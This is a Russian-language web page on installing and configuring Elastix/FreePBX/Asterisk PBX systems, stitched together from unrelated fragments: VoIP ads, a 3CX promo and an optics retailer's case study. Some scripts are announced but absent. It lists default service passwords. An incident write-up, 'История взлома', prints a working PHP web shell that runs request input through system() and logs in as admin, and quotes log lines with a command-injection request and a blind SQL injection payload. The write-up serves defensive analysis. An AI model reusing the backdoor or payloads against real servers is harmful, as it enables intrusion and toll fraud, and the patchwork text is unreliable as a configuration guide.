Шаблоны и правила набора номера в freepbx distro (asterisk, elastix)

Установка Elastix

Период детских болезней (багов, то бишь) для Elastix миновал. Последней
актуальной версией является 1.3, которую можно получить по ссылкам на странице
Downloads. Отдельно предложен образ для VMWare. Кроме того, в Tools находим
образ CentoOS2Elastix, позволяющий превратить CentOS в Elastix.

Программа установки Anaconda полностью совпадает с инсталлятором популярного
дистрибутива RedHat Linux, от которого, собственно, и произошел CentOS. Поэтому
все руководства для любого из этих дистрибутивов будут действительны. Для
примера можно почитать документацию, расположенную по адресу
www.rhd.ru/docs/manuals/enterprise. К сожалению, четкие указания насчет
аппаратных средств дать невозможно, слишком много здесь тонкостей и нюансов.
Поэтому за примерными конфигурациями компьютеров отсылаю на страницу сайта
voip.rus.net «Производительность
Asterisk-систем». В зависимости от планируемой нагрузки выбери наиболее
близкий вариант (хотя это не догма).

Разработчики упростили процесс установки Elastix за счет использования файлов
автоматизации KickStart. В ISO-образе таких файла три. В обычном варианте
установки администратору будет задано всего лишь несколько вопросов:
клавиатурная раскладка, часовой пояс, пароль суперпользователя root. Под систему
отводится жесткий диск целиком, и все необходимые разделы будут созданы
автоматически. Также без лишних запросов устанавливаются пакеты. Сетевые
интерфейсы настраиваются на получение IP-адреса от DHCP-сервера. Нажав клавиши
от <F1> до <F5>, можно получить справку по дополнительным параметрам. Сам
процесс установки происходит в псевдографическом режиме, перемещение между
элементами производится при помощи стрелок и клавиши табуляции. Выбор или отмена
выбора нужного пункта – <Пробел> или <Enter>.

Несколько больше свободы предоставляет вариант Advanced, активируемый вводом
в загрузочном меню параметра «advanced». Здесь уже возможна ручная разметка
диска и настройка сетевых интерфейсов.

После перезагрузки система полностью готова к настройкам сервисов через
веб-интерфейс. Регистрация в консоли может понадобиться только в том случае,
когда сетевой интерфейс не сконфигурирован при установке. Для его настройки
следует вызвать программу netconfig и в появившемся окне заполнить нужные
параметры. Удаленное управление с использованием консоли выполняется по
протоколу SSH (в комплект Elastix входит OpenSSH-сервер).

Знакомство с веб-интерфейсом

Теперь можно подключаться к веб-интерфейсу, для чего вводим в браузере
IP-адрес сервера. Для регистрации используем учетную запись «admin» и пароль «palosanto».
По умолчанию установлен английский язык интерфейса. Для смены на русский
переходим в меню System –> Preferences –> Language. Пока интерфейс переведен
лишь частично. Кроме того, в создаваемых графиках иногда появляется нечитаемый
текст.

В целях безопасности следует изменить пароль администратора. Это можно
сделать в Система –> Пользователи, затем выбрать в меню слева Users, отметить
учетную запись admin и нажать кнопку «Редактировать».

Веб-интерфейс состоит из семи основных вкладок. Их названия вполне отвечают
их назначению, поэтому разобраться легко. Внутри основных вкладок есть подменю,
где можно получить доступ к конкретным настройкам.

Во вкладке «Система» также можно активировать и настроить встроенный
DHCP-сервер, создать группы и наделить их правами. Группа, к которой принадлежит
пользователь, задается при создании учетной записи; впоследствии группу легко
сменить. Пользователь может быть членом только одной группы. В других подменю
находятся пункты, позволяющие – загрузить модуль, найти оборудование, завершить
работу системы, обновить пакеты, произвести резервирование и восстановление
системы. Файл с именем elastixbackup-дата*, содержащий резервную копию,
помещается в каталог /var/www/html/backup.

Provider Comparsions and Free Quotes

Provider* Highlights Startup Reviews More Info
  • Trusted by 50,000+ Customers
  • Powerful Communication Features
  • Fast, Easy, Free Setup & Install
  • Unlimited Calls, Flexible Pricing
30-day Money Back 4.6Read Reviews
  • Get First Month Free!
  • Unified Voice and Video Solution
  • Simple to Use for Admins/Users
  • Unlimited Calls, from $19.95/mo
Free Trial 4.6Read Reviews
  • Includes Phones on Select Plans
  • Outstanding Reliability
  • Incredible Features
Cancel Anytime 4.8Read Reviews
  • Free Phones with sign-up
  • No Contract, No Commitment
  • USA Based Customer Support
  • Plans from $14.99/mo
Free Trial 4.9Read Reviews

Published by WhichVoIP

Related Articles for Further Reading:

  • How to Configure SipXcom as a Cloud-based Phone System
  • FusionPBX Tutorial
  • SipXecs Freeswitch PBX Guide
  • PBX in a Flash Install Guide
  • Configure a 3CX Software PBX
  • How to Setup an Asterisk PBX
  • Asterisk for Custom VoIP Systems
PREVSIP Test Tools for Packet Loss, Line Quality & Load Testing NEXT SIP Call Flow Examples

Коммерческая поддержка от 3CX South America

Коммерческая поддержка Elastix 5 (распространение, продажа и техподдержка) обеспечивается южноамериканским подразделением 3CX. Пакеты поддержки и курсы обучения по ранним версиям Elastix, как и прежде, будут предоставляться компаниями Megatelcon и Palosanto. Реселлерам Elastix: зарегистрируйтесь здесь в качестве реселлеров 3CX и воспользуйтесь преимуществами бесплатного обучения, NFR-лицензий и поддержки.

О компании 3CX (www.3cx.ru)

Компания 3CX – разработчик коммуникационного решения на открытых стандартах, заменяющего устаревшую АТС и вносящего инновации в бизнес-коммуникации. Система, удостоенная многих наград, позволяет компаниям любого размера снизить расходы на связь, повысить производительность труда сотрудников и качество обслуживания клиентов.

3CX предлагает организациям готовое к работе решение для бизнес-коммуникаций: интегрированные видеоконференции WebRTC; приложения для Android, iOS, веб-браузера и десктопа; полный набор технологий коллективной работы; коммуникационный виджет для сайта компании.

Решениями 3CX пользуются 250 000 клиентов по всему миру включая McDonalds, Hugo Boss, Ramada Plaza Antwerp, Harley Davidson, Wilson Sporting Goods и Pepsi. Глобальное присутствие 3CX обеспечивается офисами в США, Великобритании, Германии, Южной Африке, России и Австралии. Посетите 3CX в LinkedIn, и .

Переход на VoIP для Айкрафт — не самоцель

Для достижения целей Айкрафт не тратила все свои ресурсы на внедрение VoIP — эта задача того не стоит. Одновременно с переходом на Elastix были реализованы намного более важные для бизнеса задачи. Например, для подготовки к пятикратному росту сети магазинов оптики компания Айкрафт:

  • роботизировала процесс изготовления очков, применив итальянское оборудование Meisystem, став единственной в России компанией, применяющей подобного уровня оборудование, и третьей в мире компанией, у которой заказы из магазина без ручного труда попадают в программу линии роботов (человеку требуется вложить в контейнер оправу, линзы и положить на конвейер робота, а после вставить обточенные линзы в оправу), что обеспечило единое высокое качество изготовления очков по всей России и предоставило клиентам пятилетнюю гарантию
  • формализовала и закрепила в информационной системе Gestori Pro правила поиска линз, подходящих под выбранную клиентом оправу и соответствующих рецепту клиента, что практически исключило ошибки оптометристов при оформлении заказа на изготовление очков
  • снизила задержку начала изготовления заказов с нескольких часов до получаса
  • снизила в несколько раз трудозатраты на логистику (применив ячеистое хранение с оптимизацией расстановки товаров)
  • открыла витрины, добавив видеонаблюдение и антикражное оборудование (самообслуживание упрощает подбор товара и принятие решения о покупке)
  • создала портал, предоставляющий магазинам информацию, упрощающую продажи (интерактивный каталог, специализированные калькуляторы, отображение индивидуальных премий, инструкции, обучающие материалы, сертификаты, новости, тренинги)
  • упростила каталог товаров и ценообразование (сроки и стоимость изготовления заказа любой сотрудник сообщит за секунду, когда прежде требовалось несколько минут на просчет каждого варианта — слишком сложно для принятия решения клиентом)
  • автоматизировала процесс пополнения складских запасов и пополнение витрин
  • ускорила в несколько раз (в основном программными методами) работу сервера Gestori Pro, обеспечивающего основные бизнес-процессы компании

обеспечила магазины надежными каналами связи (снизив при этом издержки)

  • предоставила франчазингу кредитование от Сбербанка по программе «бизнес-стартапы»
  • перевела магазины и большую часть сотрудников на операционную систему Ubuntu LTS и офисный пакет Libre Office, что не только снизило расходы на лицензии, но также избавило от вирусов и упростило обслуживание магазинов (хотя снизило эффективность работы некоторых офисных сотрудников)
  • снизила в разы расходы на мотивацию клиентов, введя в оборот бонусные карты, обслуживаемые компанией GiftNonstop, вместо дисконтных карт
  • автоматизировала расчет мотивации сотрудников продаж, логистики, производства, техподдержки

Процесс оптимизации бизнеса все еще идет полным ходом, но уже сейчас открытие нового магазина — рядовая задача и увеличение сети на 100-200 магазинов не создаст существенной нагрузки на ресурсы предприятия. Для предпринимателей франшиза Айкрафт за прошедшие годы также стала более привлекательна, поскольку требования к персоналу снизились, автоматизация бизнеса возросла, а сроки окупаемости обычно составляют 9-12 месяцев при инвестициях около 1400-1800 тыс.руб., значительную часть из которых может предоставить Сбербанк. Предпринимателю требуется: подобрать место для магазина, подобрать и мотивировать персонал (обучат его в Айкрафт), обеспечить совместную рекламу и получать прибыль.

Настройка ODBC

Если библиотеки нет, ее следует установить

yum install mysql-connector-odbc

библиотека коннектора должна распаковаться в файл

ls -l /usr/lib/libmyodbc3_r.so

Необходимо в файлe /etc/odbcinst.ini настроить драйвер:

# настройка драйвера

Description          = ODBC for MySQL
Driver               = /usr/lib/libmyodbc3_r.so
Setup               = /usr/lib/libodbcmyS.so
FileUsage          = 1
UsageCount          = 5

Необходимо в файлe /etc/odbc.ini добавить секцию

# настройка соединения

Driver          = MySQL
Description     = MySQL connection to 'asteriskcdrdb' database
Server          = localhost
Port          	= 3306
Database     	= asteriskcdrdb
Option          = 3

После настройки ODBC перезагрузите АТС

Подключение внешних каналов

Теперь, когда пользователи могут общаться между собой внутри дома/универа/офиса,
перейдем к настройке внешних соединений. Поддерживаемые интерфейсные карты
обнаруживаются автоматически. Для проверки следует перейти в Система –>
Обнаружение оборудования. Если в списке нет нужного устройства, нажми кнопку
«Сканировать оборудование». С
картами-клонами X100P, как правило, проблем не возникает.

Настройка внешних каналов производится в подменю «Trunk». Под термин «канал»
в Asterisk попадает как VoIP-провайдер, так и канал, предоставляемый
интерфейсной картой. Это и предстоит выбрать на первом шаге мастера. Далее
заполняем параметры. В «Outbound Caller ID» записываем Caller ID, который будет
отправлен удаленному абоненту при исходящем вызове по этому каналу. Поле имени
для Caller ID указывается в двойных кавычках, а поле номера — внутри символов <>
(«Sergej» <12345>).

Указав число в поле «Maximum channels», можно ограничить количество
одновременных звонков, совершаемых по этому каналу. В поле «Dial Rules»
заносится план набора для исходящих номеров. В Elastix при создании шаблонов
плана набора помогает мастер, позволяющий быстро добавить нужную запись. Чуть
ниже, в «Trunk Name», указываем уникальное имя канала, – оно будет использовано
в правилах Asterisk. В «Outgoing Settings» прописываются параметры
VoIP-провайдера. В общем случае необходимо подправить заготовку, изменив поля со
звездочками нужными значениями:

Последний параметр означает, что канал будет использован для исходящих
звонков. Входящие звонки настраиваются в поле Incoming Settings. Дополнительно
можно указать предпочтения для кодеков и прочие параметры. Все они подробно
описаны в документации Asterisk. Большинство провайдеров требуют регистрации на
сервисе. Необходимую строку указываем в «Register String». Формат ее таков:
«username:password@voipprovider.com/ID».

По окончании настроек нажимаем «Submit Changes» и перезапускаем Asterisk.

В итоге мы получили аналог ATC, при помощи которой можно совершать звонки как
внутри дома/универа/офиса, так и на внешние номера. Но это еще далеко не все
возможности, предоставляемые Asterisk/Elastix. Также доступны парковка вызова,
использование агентов, конференции, биллинг, факс и многое другое. Слава
техническому прогрессу!

Список логинов и паролей по умолчанию к сервисам Elastix

Интерфейс Логин Пароль
Elastix admin palosanto
freePBX admin admin
Flash Operator Panel admin eLaStIx.2oo7
Calling Cards admin mypassword
SugarCRM admin password
vTiger admin admin
OpenFire admin Указывается во время настройки сервиса
RoundCubeMail В виде user.domain.com Указывается при создании новой записи
MySQL root eLaStIx.2oo7

IP-АТС на основе Asterisk или 3CX

  • Запись телефонных разговоров
  • Конференц-комнаты с использованием виртуальных номеров
  • Голосовая почта и пересылка на e-mail
  • Поддержка протоколов SIP, IAX2, H.323, MGCP, Skinny
  • Инструменты разработчика для создания расширений, предоставляющие новые услуги
  • Поддержка кодеков: ADPCM, G.711 (A-Law и μ-Law), G.722, G.723.1, G.726, G.728, G.729, GSM, ILBC, Speex.
  • Виртуальный секретарь — IVR
  • Поддержка аналоговых интерфейсов FXS / FXO
  • Голосовой синтез речи
  • Поддержка цифровых интерфейсов (E1/T1/J1) и протоколов PRI/BRI/R2/SS7
  • Автоконфигурация IP-телефонов
  • АОН определитель номера
  • Программное эхоподавление
  • Работа с несколькими операторами связи
  • Маршрутизация входящих и исходящих вызовов по различным правилам
  • Поддержка Видеотелефонов
  • Интерфейс обнаружения телефонного оборудования
  • Поддержка групповой переадресации вызовов
  • DHCP сервер для распределения динамических IP адресов
  • Панель оператора. Оператор может видеть всю телефонную деятельность в виде графиков и выполнять простые операции по управлению телефонными звонками
  • Поддержка протокола пейджинга (intercom) и домофонов
  • Веб-панель управления
  • Поддержка временных условий
  • Парковка и перехват звонка
  • Запрет вызова по PIN коду
  • Call Detail Record (CDR) отчеты
  • Прямой доступ в систему (DISA)
  • Биллинг, отчеты, статистика, анализ по использованию
  • Поддержка обратного звонка
  • Поддержка динамических очередей

Установка пакетов CentOS

Ghostscript. Конвертация PDF в TIFF

Необходимо только, если пакет еще не установлен!

Проверяем местоположение запускаемого файла

which gs
/usr/local/bin/gs

Необходимые пакеты для сборки из исходников

sudo yum install gcc gcc-c++ make

Получаем исходные файлы

wget http://downloads.ghostscript.com/public/ghostscript-9.10.tar.gz
tar -zxf ghostscript-9.10.tar.gz 
cd ghostscript-9.10

Сборка пакета

./configure
make
make install
SpanDSP. Работа с факсами

Необходимо только, если пакет еще не установлен!

установка зависимостей

yum install libtiff-devel

устнановка SpanDSP

wget http://www.soft-switch.org/downloads/spandsp/spandsp-0.0.6pre18.tgz
tar zxf spandsp-0.0.6pre18.tgz
cd spandsp-0.0.6/
./configure
make && make install

Прописать в /etc/ld.so.conf путь к /usr/local/lib

ln -s /usr/local/lib/libspandsp.so.2 /usr/lib/libspandsp.so.2 
rm /etc/ld.so.cache && ldconfig
Asterisk

Пакеты для сборки Asterisk

sudo yum install gcc gcc-c++ make wget subversion libxml2-devel ncurses-devel openssl-devel libxml2-devel sqlite-devel libuuid-devel vim-enhanced 

Пакеты для работы ODBC

sudo yum install unixODBC unixODBC-devel libtool-ltdl libtool-ltdl-devel

Пакеты для сборки модулей MySQL (elastix)

yum install mysql-devel

Сборка Asterisk
Для дистрибутива Elastix 2.4 используется Asterisk версии 1.8.20.0 в нем было замечено неисправное приложение SendFax. Следует использовать версию не ниже 1.8.20.2.

wget http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-1.8.20.2.tar.gz
tar zxf asterisk-1.8.20.2.tar.gz
cd asterisk-1.8.20.2
./configure
make menuselect   

Требуется проверить, что будут выбраны для сборки следующие модули:

  • Add-ons — app_mysql
  • Add-ons — cdr_mysql
  • Add-ons — res_config_mysql
  • Call Detail Recording — cdr_adaptive_odbc
  • Call Detail Recording — cdr_manager
  • Call Detail Recording — cdr_odbc
  • Channel Event Logging — cel_odbc
  • Resource Modules — res_agi
  • Resource Modules — res_odbc
  • Resource Modules — res_fax
  • Resource Modules — res_fax_spandsp

Запустим сборку Asterisk:

make

Удалим старые модули

rm -rf /usr/lib/asterisk/modules/*

Установим новые модули

make install
asterisk -rx'core restart now'

Муки выбора

Использование стандартного дистрибутива Linux, пусть даже хорошо известного
администратору, имеет свои слабые стороны. В пакетных репозитариях сегодня редко
встретишь полный набор необходимых программ (да еще и последних версий), а
значит, все придется собирать, устанавливать и обновлять вручную. Это займет
много времени и сил, ведь кроме системы, зависимостей, Asterisk и драйверов к
оборудованию VoIP, придется разбираться с установкой веб-интерфейса, системы
учета звонков и т.д. Специализированное решение не требует глубоких знаний (хотя
они и приветствуются), – настройки просты и понятны любому, кто хорошо
представляет конечный результат. Разработчики обычно сами следят за новинками ПО
и предлагают обновления при помощи собственных репозитариев.

На сегодняшний день уже имеется несколько подобных решений. Так, Digium
(компания-разработчик Asterisk) предлагает свой вариант — дистрибутив AsteriskNOW. Последняя
стабильная версия 1.0.2 построена на основе одноименного веб-интерфейса и
системы сборки rBuilder Online дистрибутива rPath Linux. Собственно,
веб-интерфейс AsteriskNOW, используемый в этом дистрибутиве, находится в стадии
активной разработки, и многие необходимые функции отсутствуют. С его помощью
можно лишь выполнить ряд базовых операций настройки сервиса VoIP и ничего более.
Вероятно, потому что его возможности сильно уступают аналогичным решениям
сторонних разработчиков, в новом релизе будет добавлен FreePBX (интерфейс для
удобного конфигурирования Asterisk), который и будет использоваться по
умолчанию.

Следующий кандидат – Trixbox
– доступен в двух вариантах: коммерческом (Pro) и свободном — Trixbox CE (Community
Edition). Создан он на базе компонентов LAAMP (Linux, Apache, Asterisk, МySQL и
PHP), и в качестве интерфейса управления предложен FreePBX с некоторыми
собственными модулями. Удобен тем, что в нем изначально присутствует система
биллинга и панель оператора (Flash Operator Panel). Текущая версия базируется на
CentOS 5.1. Чтобы получить доступ к репозитарию пакетов, следует
зарегистрироваться на сайте разработчика. Только после этого можно будет
установить такие приложения, как Jabber и SugarCRM.

На использование во встроенных устройствах (CPU – 200 МГц, RAM – 64 Мб)
ориентирован AskoziaPBX,
базирующийся на m0n0wall (FreeBSD 6.2) и Asterisk 1.4. В качестве интерфейса
использован несколько переработанный AsteriskNOW. Кстати, имеются и
русифицированные модули голосовых сообщений.

История взлома

Версии основного установленного ПО:

 elastix-2.5.0-1
 freePBX-2.11.0-26
 asterisk-11.25.0-0

На самом деле ситуация достаточно банальна. Так как настраиваемая система телефонии еще не запущена в постоянную работу, то я постоянно захожу на сервер как через веб интерфейс так и через ssh. В один прекрасный день при входе, через консоль мне высветилось стандартное сообщение, что пользователь root получил новое почтовое сообщение. Зайдя в папку /var/mail увидел, что там так же есть и файлик с письмами пользователя asterisk и так как он был довольно большой, я решил посмотреть именно его. Самое последнее письмо содержало замечательную строчку

127.0.0.1/_asterisk/sos.php

Файл представлял из себя backdoor, через который взломщик и проводил свои манипуляции на сервере. Первая запись в логе с подозрительными данными появилась еще 12 декабря, сразу после установки сервера:

209.126.119.40 - - [12/Dec/2016:17:48:38 +0400] 
"POST /recordings//emoemo.php HTTP/1.1" 200 296

В процессе настройки сервера, невольно, мне удалось заблокировать взломщика, но еще раньше, оперативно сработала защита сети sipnet.ru и предотвратило возможную потерю денег. За что им отдельное спасибо. 24 декабря утром на почту пришло письмо от sipnet со списком заблокированных попыток звонков по различным направлениям.

Этим же днем я включил на сервере auth basic авторизацию (расскажу про нее далее). В последствии по логам было видно, что взломщик еще пытается войти, но уже не может.

Рядом с файлом sos.php лежал файл a7a.php следующего содержания:

<form action="" method="post" >
<input size=20 type=password name="p" />
<input size=60 type=text name="c" />
<input type=submit value="Hacked" /></form>
Hacked >
<?php
if(md5($_REQUEST)=='fe732de226af5491a6266f9d5eaa62fc')
{
@system($_REQUEST);
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable
("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
session_name("elastixSession");
session_start();
$_SESSION = $db;
$_SESSION = $db;
echo '<a href="/" >Emad__Was__Here</a>';
}
?>

По файлу видно, что это простейший скрипт для логина в Elastix без пароля. Аналогичного содержания файлы были найдены по адресам:

/tmp/emo.txt
/var/www/html/admin/320433521emad.php
/var/www/html/a2billing/admin/Public/352132043emo.php

Пока загадкой остается способ как Emad (видимо так зовут взломщика) записал свои файлы на сервер. Анализируя логи самой подозрительной записью оказалась вот эта:

82.205.4.104 - - [16/Dec/2016:23:24:54 +0400] "GET 
/a2billing/admin/Public//tmp/sql.gz%20&
mv%20/tmp/z.txt%20/var/www/html/_asterisk/sos.php%20&%20a.gz 
HTTP/1.1" 404 372

Так как все его залитые файлы имеют права доступа asterisk, то очевидно, что взлом был осуществлен через веб интерфейс. Так же скорее всего первым на сервер попал именно файл

/recordings//emoemo.php

Так что дыра где-то в модуле recordings. Так же довольно много обращений было к модулю a2billing следующего содержания:

209.126.119.40 - - [12/Dec/2016:17:55:24 +0400] "GET 
//a2billing/customer/A2B_recurring_payment.php?
id=1%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285-%28
IF%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28manager_secret%20AS
%20CHAR%29%2C0x20%29%20FROM%20cc_server_manager%20LIMIT%200%2C1
%29%2C4%2C1%29%29%3E112%2C0%2C5%29%29%29%29%29Fwlh%29&key=222
&payment_status=Completed&txn_type=subscr_payment
&pos=fadgs&aad=dwqrq HTTP/1.1" 200 -

Более конкретных сведений по логам найти не удалось.

Привожу список ip с которыми засветился взломщик на сервере

82.205.4.104
82.205.11.51
185.6.17.224
209.126.119.40
156.176.139.5
176.67.122.234
94.177.183.126
144.217.34.239
192.99.19.86

Запись телефонных разговоров в IP-PBX Elastix/FreePBX

Опубликовал(а): DAN
в: 21.08.2014

Запись телефонных разговоров в IP-PBX Elastix/FreePBX организуется весьма просто. Отправляемся в раздел «PBX -> PBX Configuration -> General Settings -> Call Recording» интерфейса Web и указываем настройки:

В поле «Run after record:» следует указать следующее: «/etc/asterisk/scripts/mixmon-mp3.sh ^{MIXMON_DIR} ^{CALLFILENAME} ^{MIXMON_FORMAT}». Это скрипт автоматически запускается сразу после окончания записи. Он выполняет сжатие аудиофайлов в формат MP3, что обеспечит существенную экономию дискового пространства. Вот его содержимое:

Вызов утилиты LAME выполняет кодирование из несжатого WAV в MP3, а FFmpeg – добавляет к файлу MP3 заголовок RIFF. Тем самым преобразуя его в сжатый WAV.
Поскольку IP-PBX Asterisk работает от лица одноименного непривилегированного пользователя, разрешим ему доступ к некоторым командам с правами администратора root через утилиту sudo. Для этого добавим в файл «/etc/sudoers» следующие строки:

Все предыдущие шаги носили подготовительный характер. Непосредственно сама запись включается для каждого внутреннего номера индивидуально в соответствующем разделе: «PBX -> PBX Configuration -> Extensions -> Extension: XXX -> Recording Options».

Если в вашей конфигурации используются очереди (queues) или конференции, то необходимо в соответствующих разделах также включить запись

Следует обратить внимание на то, что для звонков, обрабатываемых через механизм очередей (queues), вышеприведенный скрипт, сжимающий записи в формат MP3, не запускается автоматически. Для того, что бы это скомпенсировать создадим еще один скрипт нижеследующего содержания и поместим его в файле «/etc/cron.daily/queues-mixmon-mp3.sh»:

Таким образом, раз в сутки все еще несжатые файлы с записями очередей будут конвертироваться в MP3. Как обстоят дела с записями конференций, т.е. нужно ли их тоже дополнительно обрабатывать, я, честно говоря, не знаю, поскольку в моей конфигурации соответствующий функционал IP-PBX Elastix не используется. Однако, вы сможете легко доработать запускаемый раз в сутки скрипт, зная место размещения и принцип именования файлов с записями конференций.
Получить доступ к файлам записей можно в разделе «PBX -> Monitoring» интерфейса Web:Организовать ротацию старых записей можно с помощью утилиты tmpwatch. Например, выполняя раз в сутки следующую команду из планировщика заданий cron: «/usr/sbin/tmpwatch -c -f -q 8760 /var/spool/asterisk/monitor/». Таким образом, все файлы, созданные более года тому назад, будут автоматически удаляться.

Настройка SIP-аккаунта

Все связанное с настройками Asterisk размещено во вкладке PBX. При
необходимости, выбрав «Unembedded freePBX», можно вместо инструментов,
предлагаемых Elastix, перейти на интерфейс FreePBX. Доступ к CLI Asterisk
находится в подменю «Командная строка Asterisk». Для более тонкой настройки
возможна и ручная правка конфигурационных файлов Asterisk.

Для примера рассмотрим создание нового SIP-аккаунта. В «General Setting»
указываются общие настройки. Например, в «Asterisk Dial command options» по
умолчанию установлено «tr», что означает разрешение передачи вызова вызываемой
стороной по нажатию «#» и обычные гудки. Записав вместо «r» букву «m», можно
заменить гудки приятной музыкой (MusicOnHold). Она будет сопровождать абонента,
пока ему не ответят. В этом же меню настраивается формат времени, страна и
почтовые адреса для отправки факсов.

Проследи, чтобы флажок напротив «Allow Anonymous Inbound SIP Calls?» был
установлен в «No», иначе любой пользователь сможет подключиться к серверу и
нагло осуществлять звонки.

Теперь переходим в подменю «Конфигурирование УАТС» и в раскрывающемся списке
«Device» выбираем тип устройства. Для софтфона это будет «Generic SIP Device»,
хотя некоторые реализации поддерживают и протокол IAX2. После нажатия на кнопку
«Submit» появится окно, в котором указываем параметры нового клиента

Все поля
заполнять не требуется, всегда можно вернуться и подкорректировать настройки.
Обрати внимание на подсказки, появляющиеся при наведении курсора на некоторые
параметры. В поле «User Extension» вводим номер абонента, в «Display Name» –
имя, выводимое при звонке

В поле «secret» указывается пароль для доступа к
номеру, а для софтовых телефонов здесь можно использовать и буквенно-цифровую
комбинацию. После заполнения нужных полей нажимаем «Submit». Новая учетная
запись должна появиться в поле справа. Если новые настройки требуют перезапуска
Asterisk, в верхней части окна появляется надпись «Apply Configuration Changes
Here» на красном фоне. Нажимаем на нее и пробуем подключиться клиентом.

Elastix предоставляет еще одну удобную функцию — сканирование выбранного
диапазона IP-адресов для поиска клиентов. Администратор в ответ на запрос в
подменю «Endpoint Configuration» получает список абонентов с указанием их IP- и
МАС-адресов, номеров, типов телефонов и статуса.

Возможность проведения конференции по умолчанию отключена. Для ее активации и
настройки перейди в подменю Conference.

What is Elastix PBX and FreePBX Software?

Elastix

With offices in several countries, Elastix is much more than just free open source PBX software. The company has been around for over 10 years and at time of writing over 100,000 Elastix servers have been registered worldwide in addition to over 3.5 million software downloads.

FreePBX

Acquired by Sangoma the IP phone manufacturer in January of 2015, FreePBX (or Schmooze) delivers a powerful and feature rich PBX solution. The software bundle is installed on a Linux server and is configured via a standard web browser to provide a fully SIP compatible IP telephony call management solution.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector